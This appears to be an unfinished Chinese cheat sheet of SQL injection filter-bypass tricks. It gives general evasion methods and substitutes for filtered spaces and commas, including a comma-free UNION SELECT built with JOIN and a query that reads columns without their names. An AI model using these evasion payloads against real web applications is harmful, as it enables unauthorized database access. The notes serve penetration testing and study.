常用的绕过技巧
1)双写
2)编码
3)大小写混写
4)函数代替
5)注释
具体场景绕过
下面记录一些具体检测场景的绕过
0x00 过滤了空格
空格在SQL语句中是起到分隔符的作用,为了能够让解析器能解析SQL语句,所以很重要
如果被过滤了,尝试编码(%20)也没法通过的话,只能找替代了,下面列举一些替代
1)TAB键(%09 %0b)
2)换行(%0a)
3)换页(%0c)
4)回车(%0d)
5)括号
6)引号
7)反引号
0x01 过滤了逗号
我们注入时,逗号的使用主要是截断函数、limit
1)截断函数
substr(database() from 1 for 1)
eg : select substr(user from 2 for 1) from users where user_id=1 limit 0,1;
说明:从第二个字符开始,即角标1开始,截取1长度的字符串
2)limit
使用offset
eg:select * from users where user_id=1 limit 1 offset 0;
说明:从0角标开始,获取1行
3)join
我们可以把数据单个输出表,然后使用jion拼起来
eg:union select 1,2,3,4,5
--> union select * from ((select 1)a join (select 2)b join (select 3)c join (select 4)d join (select 5)e)
注:内select需要有别名,不然会报错
0x02 不使用原表字段进行查询
eg:select group_concat(a.3) from (select 1,2,3 union select * from test) as a;
(未完待续)